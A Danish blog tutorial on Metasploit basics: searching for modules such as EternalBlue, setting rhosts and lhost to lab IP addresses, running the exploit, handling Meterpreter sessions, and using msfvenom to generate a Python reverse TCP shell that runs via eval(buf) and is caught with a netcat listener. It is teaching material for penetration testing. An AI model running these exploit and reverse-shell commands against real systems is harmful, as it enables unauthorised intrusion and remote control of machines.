Nighthawk.dk

Metasploit Quickguide

Skrevet d. 14. Feb. 2021 af Claus Nielsen.

Hurtig gennemgang af grundlæggende brug af Metasploit-frameworket.

Metasploit er et værktøj til hacking/penetration testing, som indeholder en database med færdige exploits (dvs. udnyttelse af sikkerhedshuller som f.eks. kan bruges til at overtage et system). Der er derfor tale om et værktøj som gør det super nemt at hacke sig ind i mange systemer, som ikke har fuldt opdateret software.

Metasploit kan started ved f.eks. at skrive msfconsole i terminalen Kali Linux (evt. med sudo), hvor det er installeret i forvejen.

Som ny Metasploit-bruger bør du starte med at skrive kommandoen help, som giver dig en liste over kommandoer. Bemærk at du kan bruge help foran andre kommandoer for at se hvordan de bruges.

Søgning

Du søger efter et exploit/modul med search-kommandoen, og kan evt. bare søge efter navnet på et exploit:

msf6 > search eternalblue

Matching Modules
================

	#  Name                                           Disclosure Date  Rank     Check  Description
	-  ----                                           ---------------  ----     -----  -----------
	0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
	1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
	2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
	3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
	4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
	5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce

Du kan også søge på f.eks. port og platform eller CVE (se help search for mere info):

msf6 > search port:445 platform:windows

Matching Modules
================

	#   Name                                                    Disclosure Date  Rank       Check  Description
	-   ----                                                    ---------------  ----       -----  -----------
	0   exploit/windows/brightstor/etrust_itm_alert             2008-04-04       average    No     Computer Associates Alert Notification Buffer Overflow
	1   exploit/windows/oracle/extjob                           2007-01-01       excellent  Yes    Oracle Job Scheduler Named Pipe Command Execution
... Mere info her ...
	18  exploit/windows/smb/ms17_010_eternalblue                2017-03-14       average    Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
	19  exploit/windows/smb/ms17_010_eternalblue_win8           2017-03-14       average    No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
	20  exploit/windows/smb/ms17_010_psexec                     2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
... Mere info her ...
	25  exploit/windows/smb/webexec                             2018-10-24       manual     No     WebExec Authenticated User Code Execution


Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/smb/webexec

msf6 > search cve:2017-0144

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   1  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   2  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   3  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/smb/smb_doublepulsar_rce

Brug af moduler

Når du har lavet en søgning med search kan du bruge info <ID #> til at læse mere modulet:

msf6 > info 1

	Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows

... Mere info her ...

Available targets:
Id  Name
--  ----
0   Windows 7 and Server 2008 R2 (x64) All Service Packs

... Mere info her ...

Also known as:
ETERNALBLUE

Her er ID-nummeret givet i første kolonne i output fra din seneste search-kommando. Hvis du vil bruge et modul skriver du use <ID #>, og du vil se en rød tekst tilføjdet til din prompt:

msf6 > use 1
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

Når du er færdig med et modul går du ud af det igen med back:

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >

Moduler bruger ofte en række parametre, som du skal sætte for modulet kan bruges. Når du har valgt et modul (med use), kan du skrive enten show options for at se hvilke parametre, som modulet bruger. Det meste kan du også se ved at skrive info.

Mange moduler kræver at du sætter rhosts, rport og lhost. Her er rhosts IP-adressen, som du vil angribe (remote host), rport er porten, som du vil angribe, mens lhost er din IP-adresse (som bliver brugt ved f.eks. reverse_tcp payload). Du kan også vælge en lokal port, som der skal forbindes til med lport.

Du sætter parametre med set-kommandoen:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.38
lhost => 10.10.14.38

Du kan bruge show options for at se, hvad du har sat parametrene til.

Bemærk: Det kan være en fordel at sætte parametre før du går ind i et modul med use, da de ellers nulstilles når du går ud af et modul med back.

Du kan se en liste over mulige payloads til det valgte modul ved at skrive show payloads, og så vælge et bestemt payload med set payload < payload >.

Når du har sat alle parametre op, kan du køre et modul med exploit eller run:

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

Sessions og Meterpreter

Mange exploits i Metasploit kan ende med at give dig adgang til et andet system - enten en almindelig shell eller en "Meterpreter" shell - og denne adgang bliver håndteret som en session i Metasploit.

Hvis du kører et modul med exploit -j vil en eventuel session blive startet i baggrunden, i stedet for at du får en shell op med det samme. Du kan desuden starte mange sessions i baggrunden på denne måde (se evt. også på multi/handler-modulet).

Følgende kommandoer er gode at kende til håndtering af sessions:

sessions            # Viser alle aktive sessions og deres ID
sessions -i < ID >  # Start en meterpreter/shell for sessionen med det angivne ID
sessions -u < ID >  # Forsøg at opgradere en session til meterpreter

Hvis du starter en meterpreter for en session, kan du skrive bg i meterpreter-terminalen for at komme ud af meterpreter-sessionen og tilbage til Metasploit - uden at lukke sessionen ned.

Meterpreter er en speciel form for shell, som giver dig mulighed for at køre en lang række forskellige kommandoer - skriv help i meterpreter for at se en liste. Oftest bruger jeg kun shell-kommandoen, der giver en shell på systemet.

Bemærk at nogle moduler i Metasploit kan køres på sessions, f.eks. post/multi/recon/local_exploit_suggester der kan hjælpe med privilege escalation (f.eks. opnå root-access).

Msfvenom

Du kan ikke altid bare bruge Metasploit til helt automatisk at give dig adgang til et system, og ofte kan det være nødvendigt manuelt at starte en session. Til dette kan du bruge programmet msfvenom til at generere dit payload (som alternativ til f.eks. at bruge de webshells der er indbygget i Kali).

Du kan få info om at bruge msfvenom med disse kommandoer:

msfvenom help             # Viser hvordan du bruger msfvenom
msfvenom --list payloads  # Viser liste med mulige payloads
msfvenom --list formats   # Viser liste med mulige formater

Her er et konkret eksempel - lad os lave en reverse-tcp shell via Python:

msfvenom -p python/shell_reverse_tcp -f python LHOST=127.0.0.1 LPORT=4242 > reverse_shell.py
echo "eval(buf)" >> reverse_shell.py

Bemærk her at msfvenom kun laver bytecode klar til at starte en reverse-tcp shell, som bliver gemt i en string med navnet "buf". Derfor tilføjes en linie til python-filen, som kører koden (eval(buf)). Læg desuden mærke til LHOST og LPORT, der har samme betydning som i Metasploit-moduler - det er IP og portnr. som dit payload vil forbinde til med en reverse shell.

For at teste ovenstående (med localhost/127.0.0.1 som IP) kan du sætte netcat til at lytte på port 4242:

nc -lnvp 4242

Dernæst kan du køre python-koden fra et andet terminal-vindue:

python3 reverse_shell.py

Din netcat-terminal har nu en reverse-tcp shell (prøv f.eks. at skrive ls eller pwd i netcat).

Ligesom du kan få en shell via netcat, kan du også bruge Metasploit:

Her åbnes en session igen ved at køre python-filen lavet vha. msfvenom, og sessionen opgraderes til en Meterpreter session.

Emner